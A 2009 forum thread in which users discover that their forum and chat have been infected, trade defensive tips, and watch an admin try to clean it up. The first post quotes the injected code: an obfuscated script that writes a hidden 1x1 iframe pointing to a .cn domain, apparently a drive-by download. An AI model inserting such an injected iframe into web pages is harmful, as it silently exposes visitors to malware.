Post Reply 
hack/infection?
07-16-2009, 12:36 AM (This post was last modified: 07-16-2009 12:43 AM by mihau.)
Post: #1
hack/infection?
aaron, can it be the chat was hacked/infected?

after the </html> tag it says

Code:
<script>document.write("<"+"i"+"f"+"rame src=http:"+"//upda"+"t"+"edat"+"e."+"c"+"n/"+" height=1 width"+"=1"+">"+"</if"+"ram"+"e>");</script>

meaning it adds a hidden iframe, loads http://updatedate.cn/
in it which is probably some some chinese phishing site

its here too by the way, on this very page = on the forum, not just the chat
- most probably trying to read cookies

[Image: sig.png]
Visit this user's website Find all posts by this user
Quote this message in a reply
07-16-2009, 12:44 AM (This post was last modified: 07-16-2009 12:44 AM by Enzo.)
Post: #2
RE: chat hack/infection?
yeah apparently "its fucked" lmao

hes tryna fix it now

Visit this user's website Find all posts by this user
Quote this message in a reply
07-16-2009, 12:44 AM
Post: #3
RE: hack/infection?
Erghh, Looks that way...will look into it now mate.

[Image: theshield.png]
Visit this user's website Find all posts by this user
Quote this message in a reply
07-16-2009, 12:54 AM
Post: #4
RE: hack/infection?
All problems appear to be fixed, let me know if it comes back!

[Image: theshield.png]
Visit this user's website Find all posts by this user
Quote this message in a reply
07-16-2009, 12:57 AM
Post: #5
RE: hack/infection?
actually, its still here

Code:
<!-- end: showthread --><script>document.write

etc

[Image: sig.png]
Visit this user's website Find all posts by this user
Quote this message in a reply
07-16-2009, 04:21 PM
Post: #6
RE: hack/infection?
ohh so it is...bugger...going to have to redo all this tonight.

[Image: theshield.png]
Visit this user's website Find all posts by this user
Quote this message in a reply
07-16-2009, 04:42 PM
Post: #7
RE: hack/infection?
Yup still here... it happens for me on every thread. and when i click on the chatroom link it doesn't open it just downloads some file (that i just delete)...

"You can make the future, but it starts with leaving the past."
[Image: 4th_branch_mk_ultra-2.gif]
http://www.youtube.com/dagster11
http://twitter.com/dagster11
Visit this user's website Find all posts by this user
Quote this message in a reply
07-16-2009, 05:06 PM (This post was last modified: 07-16-2009 05:07 PM by mihau.)
Post: #8
RE: hack/infection?
a couple of security measures to take:
* dont use IE
* add 127.0.0.1 updatedate.cn to your HOSTS file
* block updatedate.cn in your banner/ad blocker
* get a proper personal firewall (not windows' built-in shit)

and this is what it's all about
http://securityresponse.symantec.com/sec...17-3748-99

[Image: sig.png]
Visit this user's website Find all posts by this user
Quote this message in a reply
07-16-2009, 09:36 PM (This post was last modified: 07-16-2009 09:36 PM by Killuminati.)
Post: #9
RE: hack/infection?
I got my anti-virus pop up right now as i was browsing the forums. I terminated the connection asap. It was a trojan. /:

[Image: 7YRx1.png]
Visit this user's website Find all posts by this user
Quote this message in a reply
07-16-2009, 11:40 PM
Post: #10
RE: hack/infection?
All fixed i think, let me know if you are still having problems.

[Image: theshield.png]
Visit this user's website Find all posts by this user
Quote this message in a reply
07-16-2009, 11:46 PM
Post: #11
RE: hack/infection?
Damn. I suspect the computer virus I had in January 2009 was Immortal Technique forum related because I rarely download anything. That mess was bad!!! I came on today and this website was loading up slow and not responding. Stay up. I wasn't around when the old old IT forum had problems. Find someone who was.
Find all posts by this user
Quote this message in a reply
07-16-2009, 11:56 PM
Post: #12
RE: hack/infection?
that cant be, it was infected yesterday

[Image: sig.png]
Visit this user's website Find all posts by this user
Quote this message in a reply
Post Reply